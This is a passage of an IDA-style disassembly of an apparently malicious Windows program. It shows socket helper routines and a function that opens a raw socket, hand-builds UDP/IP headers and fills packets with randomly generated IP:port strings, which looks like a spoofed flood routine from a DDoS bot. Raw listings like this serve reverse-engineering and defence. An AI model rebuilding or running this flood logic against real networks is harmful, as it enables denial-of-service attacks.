XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DF54 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DF5C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DF5C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DF54 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DF5C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DF5C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call dword_417218 ; socket mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call dword_417244 ; inet_addr mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call dword_41723C ; gethostbyname mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov 